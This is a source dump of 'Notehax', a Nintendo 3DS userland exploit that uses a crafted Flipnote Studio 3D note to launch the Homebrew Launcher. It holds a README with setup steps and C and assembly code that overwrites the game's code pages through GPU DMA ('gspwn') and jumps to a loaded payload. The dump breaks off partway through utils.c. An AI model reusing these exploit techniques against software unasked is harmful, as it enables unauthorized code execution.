├── Makefile ├── README.md ├── code ├── Makefile ├── ccd00.ld ├── ccd00.specs ├── makeConstantsHeader.py └── source │ ├── crt0.S │ ├── filesystem.c │ ├── filesystem.h │ ├── imports.h │ ├── main.c │ ├── math.S │ ├── utils.c │ └── utils.h ├── docs ├── _config.yml └── index.md ├── note ├── KFH.py ├── KSN.py ├── Makefile └── note.py ├── pyrop ├── base_modules.py ├── builder_base.py └── pyrop.py ├── res └── preview.jpg ├── rop ├── Makefile ├── constants.py ├── macros.py └── rop.py ├── ropdb ├── EUR.py ├── JPN.py └── USA.py └── utils ├── portRopDb.py └── signKWZ.py /Makefile: -------------------------------------------------------------------------------- 1 | export PYROP:="$(CURDIR)/pyrop" 2 | 3 | all: ropdb/DB.py code/build note/build notehax 4 | 5 | ropdb/DB.py: 6 | @cp ropdb/$(REGION).py ropdb/DB.py 7 | 8 | code/build: 9 | @cd code && make 10 | 11 | note/build: rop/build 12 | @cd note && make 13 | 14 | notehax: note/build 15 | @cp note/build/note.bin utils/note.bin 16 | @cd utils && python3 signKWZ.py note.bin 17 | @mv utils/note.bin notehaxnotehaxnotehaxnotehax.kwz 18 | 19 | rop/build: 20 | @cd rop && make 21 | 22 | clean: 23 | @rm ropdb/DB.py 24 | @cd rop && make clean 25 | @cd code && make clean 26 | @cd note && make clean 27 | @rm notehaxnotehaxnotehaxnotehax.kwz 28 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Notehax 2 | Notehax is a 3ds userland exploit for Flipnote Studio 3D, allowing one to launch 3 | [the Homebrew Launcher](http://smealum.github.io/3ds/) through the game. 4 | 5 | ## Requirements 6 | You'll need : 7 | * a 3ds on firmware <= 11.5 8 | * a digital copy of [Flipnote Studio 3D](https://my.nintendo.com/rewards/0391c34c430369c0) on ver 1.3.1 (JPN) and ver 1.0.0 for EUR/USA (not the latest) 9 | 10 | ## Installation 11 | 1. Get the [notehax archive](https://github.com/mrnbayoh/notehax/releases/) according to your region. 12 | 2. Extract it to the root of your SD card (the /private folder must be at the root) /!\ If you delete the previous /private folder all your notes saved on the SD card will be lost /!\ 13 | 3. Download the [otherapp payload](http://smealum.github.io/3ds/) corresponding to your region/console/firmware etc. 14 | 4. Copy the otherapp payload to the /notehax folder and rename it "otherapp.bin". 15 | 5. Download the and copy to your SD card the [homebrew starter kit](http://smealum.github.io/3ds/). 16 | 6. If you're running the EUR version, switch your 3ds language to French. 17 | 18 | ## How to use notehax 19 | To access [the Homebrew Launcher](http://smealum.github.io/3ds/) just try to open the custom note that should've appeared in the SD folder: 20 | ![Image](http://i.imgur.com/pENuo1Z.png) 21 | 22 | ## Donate 23 | Every amount is appreciated and will be used for hacking purposes of course :) 24 | [![Donate](https://www.paypalobjects.com/en_US/i/btn/btn_donate_LG.gif)](https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=KFEV25LC9KTX4) 25 | 26 | ## Thanks 27 | * [smealum](https://github.com/smealum) and everyone else who have contributed to the HBL/hax payload 28 | * ChampionLeake789 : tester 29 | -------------------------------------------------------------------------------- /code/Makefile: -------------------------------------------------------------------------------- 1 | ifeq ($(strip $(DEVKITARM)),) 2 | $(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") 3 | endif 4 | 5 | 6 | ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),) 7 | export PATH:=$(DEVKITARM)/bin:$(PATH) 8 | endif 9 | 10 | include $(DEVKITARM)/3ds_rules 11 | 12 | CC = arm-none-eabi-gcc 13 | # LINK = arm-none-eabi-gcc 14 | LINK = arm-none-eabi-ld 15 | AS = arm-none-eabi-as 16 | OBJCOPY = arm-none-eabi-objcopy 17 | CFLAGS += -Wall -std=c99 -march=armv6 -Os -I"$(CTRULIB)/include" -I$(DEVKITPRO)/libnds/include 18 | LDFLAGS += --script=ccd00.ld -L"$(CTRULIB)/lib" 19 | 20 | CFILES = $(wildcard source/*.c) 21 | BINFILES = $(wildcard data/*.bin) 22 | OFILES = $(BINFILES:data/%.bin=build/%.bin.o) 23 | OFILES += $(CFILES:source/%.c=build/%.o) 24 | DFILES = $(CFILES:source/%.c=build/%.d) 25 | SFILES = $(wildcard source/*.S) 26 | OFILES += $(SFILES:source/%.S=build/%.o) 27 | PROJECTNAME = ${shell basename "$(CURDIR)"} 28 | CWD = "$(CURDIR)"" 29 | 30 | #--------------------------------------------------------------------------------- 31 | # canned command sequence for binary data, taken from devkitARM 32 | #--------------------------------------------------------------------------------- 33 | define bin2o 34 | bin2s $< | $(AS) -o $(@) 35 | echo "extern const u8" `(echo $( source/`(echo $(> source/`(echo $(> source/`(echo $( build/$*.d 68 | 69 | build/%.o: source/%.S 70 | $(CC) $(CFLAGS) -c $< -o $@ 71 | @$(CC) -MM $< > build/$*.d 72 | 73 | build/%.bin.o: data/%.bin 74 | @echo $(notdir $<) 75 | @$(bin2o) 76 | -------------------------------------------------------------------------------- /code/ccd00.ld: -------------------------------------------------------------------------------- 1 | OUTPUT_ARCH(arm) 2 | 3 | MEMORY 4 | { 5 | RAMRX (rx) : ORIGIN = 0x00301000, LENGTH = 0x00002000 6 | RAMRW (rw!i) : ORIGIN = 0x08000000, LENGTH = 0x00100000 7 | } 8 | 9 | SECTIONS 10 | { 11 | .text : ALIGN(0x100) { 12 | build/crt0.o(.init) 13 | *(.text) 14 | *(.rodata) 15 | _got_start = .; 16 | *(.got) 17 | *(.got.plt) 18 | *(.data.rel.ro.local) 19 | _got_end = .; 20 | } 21 | 22 | .bss : { 23 | _bss_start = .; 24 | *(.bss); 25 | } 26 | _bss_end = .; 27 | } 28 | -------------------------------------------------------------------------------- /code/ccd00.specs: -------------------------------------------------------------------------------- 1 | %rename link old_link 2 | 3 | *link: 4 | %(old_link) -T ./ccd00.ld%s -------------------------------------------------------------------------------- /code/makeConstantsHeader.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import runpy 3 | 4 | cmdargs = sys.argv 5 | 6 | output_file = open(cmdargs[2], 'w') 7 | 8 | result = runpy.run_path(cmdargs[1]) 9 | diff = set(result.keys()) - set(globals().keys()) 10 | 11 | for gadget in diff: 12 | output_file.write("#define " + gadget + " " + hex(result[gadget]) + "\n") 13 | -------------------------------------------------------------------------------- /code/source/crt0.S: -------------------------------------------------------------------------------- 1 | .section ".init" 2 | .arm 3 | .align 0x4 4 | .global _start 5 | 6 | _start: 7 | mov sp, #0x10000000 8 | blx _main 9 | -------------------------------------------------------------------------------- /code/source/filesystem.c: -------------------------------------------------------------------------------- 1 | #include "filesystem.h" 2 | 3 | Result _FSUSER_OpenFileDirectly(Handle* handle, Handle* out, FS_archive archive, FS_Path fileLowPath, u32 openflags, u32 attributes) 4 | { 5 | u32* cmdbuf=getThreadCommandBuffer(); 6 | 7 | cmdbuf[0]=0x08030204; 8 | cmdbuf[1]=0; 9 | cmdbuf[2]=archive.id; 10 | cmdbuf[3]=archive.lowPath.type; 11 | cmdbuf[4]=archive.lowPath.size; 12 | cmdbuf[5]=fileLowPath.type; 13 | cmdbuf[6]=fileLowPath.size; 14 | cmdbuf[7]=openflags; 15 | cmdbuf[8]=attributes; 16 | cmdbuf[9]=(archive.lowPath.size<<14)|0x802; 17 | cmdbuf[10]=(u32)archive.lowPath.data; 18 | cmdbuf[11]=(fileLowPath.size<<14)|2; 19 | cmdbuf[12]=(u32)fileLowPath.data; 20 | 21 | Result ret=0; 22 | if((ret=svcSendSyncRequest(*handle)))return ret; 23 | 24 | if(out)*out=cmdbuf[3]; 25 | 26 | return cmdbuf[1]; 27 | } 28 | 29 | Result _FSFILE_Close(Handle handle) 30 | { 31 | u32* cmdbuf=getThreadCommandBuffer(); 32 | 33 | cmdbuf[0]=0x08080000; 34 | 35 | Result ret=0; 36 | if((ret=svcSendSyncRequest(handle)))return ret; 37 | 38 | return cmdbuf[1]; 39 | } 40 | 41 | Result _FSFILE_Read(Handle handle, u32 *bytesRead, u64 offset, u32 *buffer, u32 size) 42 | { 43 | u32 *cmdbuf=getThreadCommandBuffer(); 44 | 45 | cmdbuf[0]=0x080200C2; 46 | cmdbuf[1]=(u32)offset; 47 | cmdbuf[2]=(u32)(offset>>32); 48 | cmdbuf[3]=size; 49 | cmdbuf[4]=(size<<4)|12; 50 | cmdbuf[5]=(u32)buffer; 51 | 52 | Result ret=0; 53 | if((ret=svcSendSyncRequest(handle)))return ret; 54 | 55 | if(bytesRead)*bytesRead=cmdbuf[2]; 56 | 57 | return cmdbuf[1]; 58 | } 59 | 60 | Result _FSFILE_GetSize(Handle handle, u64 *size) 61 | { 62 | u32 *cmdbuf=getThreadCommandBuffer(); 63 | 64 | cmdbuf[0] = 0x08040000; 65 | 66 | Result ret=0; 67 | if((ret=svcSendSyncRequest(handle)))return ret; 68 | 69 | if(size)*size = *((u64*)&cmdbuf[2]); 70 | 71 | return cmdbuf[1]; 72 | } 73 | -------------------------------------------------------------------------------- /code/source/filesystem.h: -------------------------------------------------------------------------------- 1 | #ifndef FS_H 2 | #define FS_H 3 | 4 | #include <3ds.h> 5 | 6 | typedef struct 7 | { 8 | u32 id; ///< Archive ID. 9 | FS_Path lowPath; ///< FS path. 10 | u64 handle; ///< Handle. 11 | } FS_archive; 12 | 13 | Result _FSUSER_OpenFileDirectly(Handle* handle, Handle* out, FS_archive archive, FS_Path fileLowPath, u32 openflags, u32 attributes); 14 | Result _FSFILE_Close(Handle handle); 15 | Result _FSFILE_Read(Handle handle, u32 *bytesRead, u64 offset, u32 *buffer, u32 size); 16 | Result _FSFILE_GetSize(Handle handle, u64 *size); 17 | 18 | #endif 19 | -------------------------------------------------------------------------------- /code/source/imports.h: -------------------------------------------------------------------------------- 1 | #ifndef IMPORTS_H 2 | #define IMPORTS_H 3 | 4 | #include <3ds.h> 5 | #include "../constants.h" 6 | 7 | #define LINEAR_BUFFER 0x14000000 8 | #define APPMEMTYPE_PTR 0x1FF80030 9 | #define MAX_CODEBIN_SIZE 0x2D1000 10 | 11 | static Handle* const fsHandle = (Handle*)FSUSER_HANDLE; 12 | static Handle* const dspHandle = (Handle*)DSP_HANDLE; 13 | static Handle* const gspHandle = (Handle*)GSPGPU_HANDLE; 14 | 15 | static u32** const sharedGspCmdBuf = (u32**)(GSPGPU_INTERRUPT_RECEIVER_STRUCT + 0x58); 16 | 17 | static Result (* const _GSPGPU_FlushDataCache)(Handle* handle, Handle kProcess, u32* addr, u32 size) = (void*)GSPGPU_FLUSHDATACACHE; 18 | static Result (* const _GSPGPU_GxTryEnqueue)(u32** sharedGspCmdBuf, u32* cmdAddr) = (void*)GSPGPU_GXTRYENQUEUE; 19 | static Result (* const _DSP_UnloadComponent)(Handle* handle) = (void*)DSP_UNLOADCOMPONENT; 20 | static Result (* const _DSP_RegisterInterruptEvents)(Handle* handle, Handle event, u32 type, u32 port) = (void*)DSP_REGISTERINTERRUPTEVENTS; 21 | 22 | #endif 23 | -------------------------------------------------------------------------------- /code/source/main.c: -------------------------------------------------------------------------------- 1 | #include "imports.h" 2 | 3 | #include <3ds.h> 4 | #include "utils.h" 5 | #include "filesystem.h" 6 | 7 | #define LOOP_DEST (u8*)(LINEAR_BUFFER+0x200000) 8 | #define OTHERAPP_DEST (u8*)(LINEAR_BUFFER+0x900000) 9 | 10 | void build_nop_slide(u32 *dst, int size) 11 | { 12 | for (int i = 0; i < size; i++) 13 | { 14 | dst[i] = 0xE1A00000; 15 | } 16 | dst[size-1] = 0xE12FFF1E; 17 | } 18 | 19 | void _main() 20 | { 21 | Result ret = 0; 22 | 23 | _DSP_UnloadComponent(dspHandle); 24 | _DSP_RegisterInterruptEvents(dspHandle, 0x0, 0x2, 0x2); 25 | 26 | Handle file = 0; 27 | FS_archive sdmc = (FS_archive){ARCHIVE_SDMC, (FS_Path){PATH_EMPTY, 1, (u8*)""}}; 28 | ret = _FSUSER_OpenFileDirectly(fsHandle, &file, sdmc,_fsMakePath(PATH_ASCII, "/notehax/otherapp.bin"), FS_OPEN_READ, 0); 29 | 30 | u32 linear_base = 0x30000000 + (*(u8*)APPMEMTYPE_PTR == 0x6 ? 0x07c00000 : 0x04000000) - MAX_CODEBIN_SIZE; 31 | 32 | build_nop_slide((u32*)(OTHERAPP_DEST), 0x1000); 33 | int k = 0; 34 | int slide_pages = 0; 35 | u32 nop_slide_VA = 0x343000; 36 | while(slide_pages < 4) 37 | { 38 | _GSPGPU_FlushDataCache(gspHandle, 0xFFFF8001, (u32*)LOOP_DEST, 0x1000); 39 | gspwn((void*)LOOP_DEST, (void*)(linear_base + k*0x1000), 0x1000); 40 | svcSleepThread(0x100000); 41 | for(int j = 0; j < 4; j++) 42 | if(!memcmp((void*)LOOP_DEST, (void*)(nop_slide_VA+j*0x1000), 0x20)) 43 | { 44 | gspwn((void*)(linear_base + k*0x1000), (void*)(OTHERAPP_DEST+j*0x1000), 0x1000); 45 | svcSleepThread(0x100000); 46 | slide_pages++; 47 | } 48 | k++; 49 | } 50 | ((void (*)())nop_slide_VA)(); 51 | 52 | if(!ret) 53 | { 54 | u64 otherapp_size = 0; 55 | _FSFILE_GetSize(file, &otherapp_size); 56 | 57 | u32 bytes_read = 0; 58 | _FSFILE_Read(file, &bytes_read, 0, (u32*)(OTHERAPP_DEST), otherapp_size); 59 | 60 | _FSFILE_Close(file); 61 | 62 | otherapp_size = (otherapp_size + 0xFFF) & ~0xFFF; 63 | 64 | u32 otherapp_pages_count = otherapp_size >> 12; 65 | //u32 otherapp_pages[otherapp_pages_count]; 66 | //memset(otherapp_pages, 0x0, sizeof(u32)*otherapp_pages_count); 67 | 68 | for(unsigned int i = 0, pages = 0; i < MAX_CODEBIN_SIZE && (pages < otherapp_pages_count); i+=0x1000) 69 | { 70 | _GSPGPU_FlushDataCache(gspHandle, 0xFFFF8001, (u32*)LOOP_DEST, 0x1000); 71 | gspwn((void*)LOOP_DEST, (void*)(linear_base + i), 0x1000); 72 | svcSleepThread(0x100000); 73 | 74 | for(u8 j = 0; j < otherapp_pages_count; j++) 75 | { 76 | if(!memcmp((void*)LOOP_DEST, (void*)(0x101000 + j*0x1000), 0x20)) 77 | { 78 | //otherapp_pages[j] = i; 79 | gspwn((void*)(linear_base + i), (void*)(OTHERAPP_DEST+j*0x1000), 0x1000); 80 | svcSleepThread(0x100000); 81 | pages++; 82 | } 83 | } 84 | } 85 | 86 | /* _GSPGPU_FlushDataCache(gspHandle, 0xFFFF8001, (u32*)(OTHERAPP_DEST), otherapp_size); 87 | for(int i = 0; i < otherapp_pages_count; i++) 88 | { 89 | gspwn((void*)(linear_base + i), (void*)(OTHERAPP_DEST+j*0x1000), 0x1000); 90 | svcSleepThread(0x100000); 91 | 92 | }*/ 93 | } 94 | 95 | // ghetto dcache invalidation 96 | // don't judge me 97 | int i, j; 98 | // for(k=0; k<0x2; k++) 99 | for(j=0; j<0x4; j++) 100 | for(i=0; i<0x01000000/0x4; i+=0x4) 101 | ((u8*)(LINEAR_BUFFER))[i+j]^=0xDEADBABE; 102 | 103 | 104 | u8* top_framebuffer = (u8*)(LINEAR_BUFFER+0x00100000); 105 | u8* low_framebuffer = &top_framebuffer[0x00046500]; 106 | _GSPGPU_SetBufferSwap(*gspHandle, 0, (GSPGPU_FramebufferInfo){0, (u32*)top_framebuffer, (u32*)top_framebuffer, 240 * 3, (1<<8)|(1<<6)|1, 0, 0}); 107 | _GSPGPU_SetBufferSwap(*gspHandle, 1, (GSPGPU_FramebufferInfo){0, (u32*)low_framebuffer, (u32*)low_framebuffer, 240 * 3, 1, 0, 0}); 108 | // while(1) 109 | // svcSleepThread(0xFFFFFFFF); 110 | // run payload 111 | { 112 | void (*payload)(u32* paramlk, u32* stack_pointer) = (void*)0x00101000; 113 | u32* paramblk = (u32*)LINEAR_BUFFER; 114 | 115 | paramblk[0x1c >> 2] = GSPGPU_GXCMD4; 116 | paramblk[0x20 >> 2] = GSPGPU_FLUSHDATACACHE_WRAPPER; 117 | paramblk[0x48 >> 2] = 0x8d; // flags 118 | paramblk[0x58 >> 2] = GSPGPU_HANDLE; 119 | paramblk[0x64 >> 2] = 0x08010000; 120 | 121 | payload(paramblk, (u32*)(0x10000000 - 4)); 122 | } 123 | 124 | *(u32*)ret = 0xdead0008; 125 | } 126 | -------------------------------------------------------------------------------- /code/source/math.S: -------------------------------------------------------------------------------- 1 | #ifdef __ARMEB__ 2 | #define xh r0 3 | #define xl r1 4 | #define yh r2 5 | #define yl r3 6 | #else 7 | #define xl r0 8 | #define xh r1 9 | #define yl r2 10 | #define yh r3 11 | #endif 12 | 13 | .global __muldi3 14 | __muldi3: 15 | 16 | .global __aeabi_lmul 17 | __aeabi_lmul: 18 | 19 | mul xh, yl, xh 20 | mla xh, xl, yh, xh 21 | mov ip, xl, lsr #16 22 | mov yh, yl, lsr #16 23 | bic xl, xl, ip, lsl #16 24 | bic yl, yl, yh, lsl #16 25 | mla xh, yh, ip, xh 26 | mul yh, xl, yh 27 | mul xl, yl, xl 28 | mul ip, yl, ip 29 | adds xl, xl, yh, lsl #16 30 | adc xh, xh, yh, lsr #16 31 | adds xl, xl, ip, lsl #16 32 | adc xh, xh, ip, lsr #16 33 | mov pc, lr 34 | 35 | 36 | dividend .req r0 37 | divisor .req r1 38 | result .req r2 39 | curbit .req r3 40 | .globl __udivsi3 41 | .type __udivsi3 ,function 42 | .globl __aeabi_uidiv 43 | .type __aeabi_uidiv ,function 44 | .align 0 45 | __udivsi3: 46 | __aeabi_uidiv: 47 | cmp divisor, #0 48 | beq Ldiv0_uidiv 49 | mov curbit, #1 50 | mov result, #0 51 | cmp dividend, divisor 52 | bcc Lgot_result 53 | Loop1: 54 | @ Unless the divisor is very big, shift it up in multiples of 55 | @ four bits, since this is the amount of unwinding in the main 56 | @ division loop. Continue shifting until the divisor is 57 | @ larger than the dividend. 58 | cmp divisor, #0x10000000 59 | cmpcc divisor, dividend 60 | movcc divisor, divisor, lsl #4 61 | movcc curbit, curbit, lsl #4 62 | bcc Loop1 63 | Lbignum: 64 | @ For very big divisors, we must shift it a bit at a time, or 65 | @ we will be in danger of overflowing. 66 | cmp divisor, #0x80000000 67 | cmpcc divisor, dividend 68 | movcc divisor, divisor, lsl #1 69 | movcc curbit, curbit, lsl #1 70 | bcc Lbignum 71 | Loop3: 72 | @ Test for possible subtractions, and note which bits 73 | @ are done in the result. On the final pass, this may subtract 74 | @ too much from the dividend, but the result will be ok, since the 75 | @ "bit" will have been shifted out at the bottom. 76 | cmp dividend, divisor 77 | subcs dividend, dividend, divisor 78 | orrcs result, result, curbit 79 | cmp dividend, divisor, lsr #1 80 | subcs dividend, dividend, divisor, lsr #1 81 | orrcs result, result, curbit, lsr #1 82 | cmp dividend, divisor, lsr #2 83 | subcs dividend, dividend, divisor, lsr #2 84 | orrcs result, result, curbit, lsr #2 85 | cmp dividend, divisor, lsr #3 86 | subcs dividend, dividend, divisor, lsr #3 87 | orrcs result, result, curbit, lsr #3 88 | cmp dividend, #0 @ Early termination? 89 | movnes curbit, curbit, lsr #4 @ No, any more bits to do? 90 | movne divisor, divisor, lsr #4 91 | bne Loop3 92 | Lgot_result: 93 | mov r0, result 94 | mov pc, lr 95 | Ldiv0_uidiv: 96 | str lr, [sp, #-4]! 97 | #bl __div0 (PLT) 98 | mov r0, #0 @ about as wrong as it could be 99 | ldmia sp!, {pc} 100 | .size __udivsi3 , . - __udivsi3 101 | 102 | .globl __aeabi_uidivmod 103 | __aeabi_uidivmod: 104 | 105 | stmfd sp!, {r0, r1, ip, lr} 106 | bl __aeabi_uidiv 107 | ldmfd sp!, {r1, r2, ip, lr} 108 | mul r3, r0, r2 109 | sub r1, r1, r3 110 | mov pc, lr 111 | 112 | .globl __aeabi_idivmod 113 | __aeabi_idivmod: 114 | 115 | stmfd sp!, {r0, r1, ip, lr} 116 | bl __aeabi_idiv 117 | ldmfd sp!, {r1, r2, ip, lr} 118 | mul r3, r0, r2 119 | sub r1, r1, r3 120 | mov pc, lr 121 | 122 | .macro ARM_DIV_BODY dividend, divisor, result, curbit 123 | 124 | #if __LINUX_ARM_ARCH__ >= 5 125 | 126 | clz \curbit, \divisor 127 | clz \result, \dividend 128 | sub \result, \curbit, \result 129 | mov \curbit, #1 130 | mov \divisor, \divisor, lsl \result 131 | mov \curbit, \curbit, lsl \result 132 | mov \result, #0 133 | 134 | #else 135 | 136 | @ Initially shift the divisor left 3 bits if possible, 137 | @ set curbit accordingly. This allows for curbit to be located 138 | @ at the left end of each 4 bit nibbles in the division loop 139 | @ to save one loop in most cases. 140 | tst \divisor, #0xe0000000 141 | moveq \divisor, \divisor, lsl #3 142 | moveq \curbit, #8 143 | movne \curbit, #1 144 | 145 | @ Unless the divisor is very big, shift it up in multiples of 146 | @ four bits, since this is the amount of unwinding in the main 147 | @ division loop. Continue shifting until the divisor is 148 | @ larger than the dividend. 149 | 1: cmp \divisor, #0x10000000 150 | cmplo \divisor, \dividend 151 | movlo \divisor, \divisor, lsl #4 152 | movlo \curbit, \curbit, lsl #4 153 | blo 1b 154 | 155 | @ For very big divisors, we must shift it a bit at a time, or 156 | @ we will be in danger of overflowing. 157 | 1: cmp \divisor, #0x80000000 158 | cmplo \divisor, \dividend 159 | movlo \divisor, \divisor, lsl #1 160 | movlo \curbit, \curbit, lsl #1 161 | blo 1b 162 | 163 | mov \result, #0 164 | 165 | #endif 166 | 167 | @ Division loop 168 | 1: cmp \dividend, \divisor 169 | subhs \dividend, \dividend, \divisor 170 | orrhs \result, \result, \curbit 171 | cmp \dividend, \divisor, lsr #1 172 | subhs \dividend, \dividend, \divisor, lsr #1 173 | orrhs \result, \result, \curbit, lsr #1 174 | cmp \dividend, \divisor, lsr #2 175 | subhs \dividend, \dividend, \divisor, lsr #2 176 | orrhs \result, \result, \curbit, lsr #2 177 | cmp \dividend, \divisor, lsr #3 178 | subhs \dividend, \dividend, \divisor, lsr #3 179 | orrhs \result, \result, \curbit, lsr #3 180 | cmp \dividend, #0 @ Early termination? 181 | movnes \curbit, \curbit, lsr #4 @ No, any more bits to do? 182 | movne \divisor, \divisor, lsr #4 183 | bne 1b 184 | 185 | .endm 186 | 187 | .macro ARM_DIV2_ORDER divisor, order 188 | 189 | #if __LINUX_ARM_ARCH__ >= 5 190 | 191 | clz \order, \divisor 192 | rsb \order, \order, #31 193 | 194 | #else 195 | 196 | cmp \divisor, #(1 << 16) 197 | movhs \divisor, \divisor, lsr #16 198 | movhs \order, #16 199 | movlo \order, #0 200 | 201 | cmp \divisor, #(1 << 8) 202 | movhs \divisor, \divisor, lsr #8 203 | addhs \order, \order, #8 204 | 205 | cmp \divisor, #(1 << 4) 206 | movhs \divisor, \divisor, lsr #4 207 | addhs \order, \order, #4 208 | 209 | cmp \divisor, #(1 << 2) 210 | addhi \order, \order, #3 211 | addls \order, \order, \divisor, lsr #1 212 | 213 | #endif 214 | 215 | .endm 216 | 217 | .align 5 218 | .globl __divsi3 219 | .globl __aeabi_idiv 220 | __divsi3: 221 | __aeabi_idiv: 222 | cmp r1, #0 223 | eor ip, r0, r1 @ save the sign of the result. 224 | beq Ldiv0 225 | rsbmi r1, r1, #0 @ loops below use unsigned. 226 | subs r2, r1, #1 @ division by 1 or -1 ? 227 | beq 10f 228 | movs r3, r0 229 | rsbmi r3, r0, #0 @ positive dividend value 230 | cmp r3, r1 231 | bls 11f 232 | tst r1, r2 @ divisor is power of 2 ? 233 | beq 12f 234 | 235 | ARM_DIV_BODY r3, r1, r0, r2 236 | 237 | cmp ip, #0 238 | rsbmi r0, r0, #0 239 | mov pc, lr 240 | 241 | 10: teq ip, r0 @ same sign ? 242 | rsbmi r0, r0, #0 243 | mov pc, lr 244 | 245 | 11: movlo r0, #0 246 | moveq r0, ip, asr #31 247 | orreq r0, r0, #1 248 | mov pc, lr 249 | 250 | 12: ARM_DIV2_ORDER r1, r2 251 | 252 | cmp ip, #0 253 | mov r0, r3, lsr r2 254 | rsbmi r0, r0, #0 255 | mov pc, lr 256 | 257 | Ldiv0: 258 | 259 | str lr, [sp, #-4]! 260 | #bl __div0 261 | mov r0, #0 @ About as wrong as it could be. 262 | ldr pc, [sp], #4 263 | 264 | 265 | .global __aeabi_uldivmod 266 | .type __aeabi_uldivmod, function 267 | .align 0 268 | A_0 .req r0 269 | A_1 .req r1 270 | B_0 .req r2 271 | B_1 .req r3 272 | C_0 .req r4 273 | C_1 .req r5 274 | D_0 .req r6 275 | D_1 .req r7 276 | Q_0 .req r0 277 | Q_1 .req r1 278 | R_0 .req r2 279 | R_1 .req r3 280 | __aeabi_uldivmod: 281 | stmfd sp!, {r4, r5, r6, r7, lr} 282 | @ Test if B == 0 283 | orrs ip, B_0, B_1 @ Z set -> B == 0 284 | beq L_div_by_0 285 | @ Test if B is power of 2: (B & (B - 1)) == 0 286 | subs C_0, B_0, #1 287 | sbc C_1, B_1, #0 288 | tst C_0, B_0 289 | tsteq B_1, C_1 290 | beq L_pow2 291 | @ Test if A_1 == B_1 == 0 292 | orrs ip, A_1, B_1 293 | beq L_div_32_32 294 | L_div_64_64: 295 | mov C_0, #1 296 | mov C_1, #0 297 | @ D_0 = clz A 298 | teq A_1, #0 299 | clz D_0, A_1 300 | clzeq ip, A_0 301 | addeq D_0, D_0, ip 302 | @ D_1 = clz B 303 | teq B_1, #0 304 | clz D_1, B_1 305 | clzeq ip, B_0 306 | addeq D_1, D_1, ip 307 | @ if clz B - clz A > 0 308 | subs D_0, D_1, D_0 309 | bls L_done_shift 310 | @ B <<= (clz B - clz A) 311 | subs D_1, D_0, #32 312 | rsb ip, D_0, #32 313 | movmi B_1, B_1, lsl D_0 314 | orrmi B_1, B_1, B_0, lsr ip 315 | movpl B_1, B_0, lsl D_1 316 | mov B_0, B_0, lsl D_0 317 | @ C = 1 << (clz B - clz A) 318 | movmi C_1, C_1, lsl D_0 319 | orrmi C_1, C_1, C_0, lsr ip 320 | movpl C_1, C_0, lsl D_1 321 | mov C_0, C_0, lsl D_0 322 | L_done_shift: 323 | mov D_0, #0 324 | mov D_1, #0 325 | @ C: current bit; D: result 326 | L_subtract: 327 | @ if A >= B 328 | cmp A_1, B_1 329 | cmpeq A_0, B_0 330 | bcc L_update 331 | @ A -= B 332 | subs A_0, A_0, B_0 333 | sbc A_1, A_1, B_1 334 | @ D |= C 335 | orr D_0, D_0, C_0 336 | orr D_1, D_1, C_1 337 | L_update: 338 | @ if A == 0: break 339 | orrs ip, A_1, A_0 340 | beq L_exit 341 | @ C >>= 1 342 | movs C_1, C_1, lsr #1 343 | movs C_0, C_0, rrx 344 | @ if C == 0: break 345 | orrs ip, C_1, C_0 346 | beq L_exit 347 | @ B >>= 1 348 | movs B_1, B_1, lsr #1 349 | mov B_0, B_0, rrx 350 | b L_subtract 351 | L_exit: 352 | @ Note: A, B & Q, R are aliases 353 | mov R_0, A_0 354 | mov R_1, A_1 355 | mov Q_0, D_0 356 | mov Q_1, D_1 357 | ldmfd sp!, {r4, r5, r6, r7, pc} 358 | L_div_32_32: 359 | @ Note: A_0 & r0 are aliases 360 | @ Q_1 r1 361 | mov r1, B_0 362 | bl __aeabi_uidivmod 363 | mov R_0, r1 364 | mov R_1, #0 365 | mov Q_1, #0 366 | ldmfd sp!, {r4, r5, r6, r7, pc} 367 | L_pow2: 368 | @ Note: A, B and Q, R are aliases 369 | @ R = A & (B - 1) 370 | and C_0, A_0, C_0 371 | and C_1, A_1, C_1 372 | @ Q = A >> log2(B) 373 | @ Note: B must not be 0 here! 374 | clz D_0, B_0 375 | add D_1, D_0, #1 376 | rsbs D_0, D_0, #31 377 | bpl L_1 378 | clz D_0, B_1 379 | rsb D_0, D_0, #31 380 | mov A_0, A_1, lsr D_0 381 | add D_0, D_0, #32 382 | L_1: 383 | movpl A_0, A_0, lsr D_0 384 | orrpl A_0, A_0, A_1, lsl D_1 385 | mov A_1, A_1, lsr D_0 386 | @ Mov back C to R 387 | mov R_0, C_0 388 | mov R_1, C_1 389 | ldmfd sp!, {r4, r5, r6, r7, pc} 390 | L_div_by_0: 391 | #bl __div0 392 | @ As wrong as it could be 393 | mov Q_0, #0 394 | mov Q_1, #0 395 | mov R_0, #0 396 | mov R_1, #0 397 | ldmfd sp!, {r4, r5, r6, r7, pc} 398 | 399 | -------------------------------------------------------------------------------- /code/source/utils.c: -------------------------------------------------------------------------------- 1 | #include "utils.h" 2 | #include "imports.h" 3 | 4 | void* memset(void *ptr, int value, size_t num) 5 | { 6 | u8 *p = ptr; 7 | while (num) 8 | { 9 | *p++ = value; 10 | num--; 11 | } 12 | 13 | return ptr; 14 | } 15 | 16 | void* memcpy(void *destination, const void *source, size_t num) 17 | { 18 | u8 *dest = destination; 19 | u8 *src = (u8*)source; 20 | while (num) 21 | { 22 | *dest++ = *src++; 23 | num--; 24 | } 25 | 26 | return destination; 27 | } 28 | 29 | int memcmp(void *ptr1, void *ptr2, size_t num) 30 | { 31 | for(; num--; ptr1++, ptr2++) 32 | if(*(u8*)ptr1 != *(u8*)ptr2) 33 | return *(u8*)ptr1-*(u8*)ptr2; 34 | return 0; 35 | } 36 | 37 | Result gspwn(void* dst, void* src, u32 size) 38 | { 39 | u32 gxCommand[] = 40 | { 41 | 0x00000004, //cmd header (SetTextureCopy) 42 | (u32)src, 43 | (u32)dst, 44 | size, 45 | 0xFFFFFFFF, //dim in 46 | 0xFFFFFFFF, //dim out 47 | 0x00000008, //flags 48 | 0x00000000 49 | }; 50 | 51 | return _GSPGPU_GxTryEnqueue(sharedGspCmdBuf, gxCommand); 52 | } 53 | 54 | Result _GSPGPU_SetBufferSwap(Handle handle, u32 screenId, GSPGPU_FramebufferInfo framebufferInfo) 55 | { 56 | Result ret = 0; 57 | u32* cmdbuf = getThreadCommandBuffer(); 58 | 59 | cmdbuf[0] = 0x0050200; 60 | cmdbuf[1] = screenId; 61 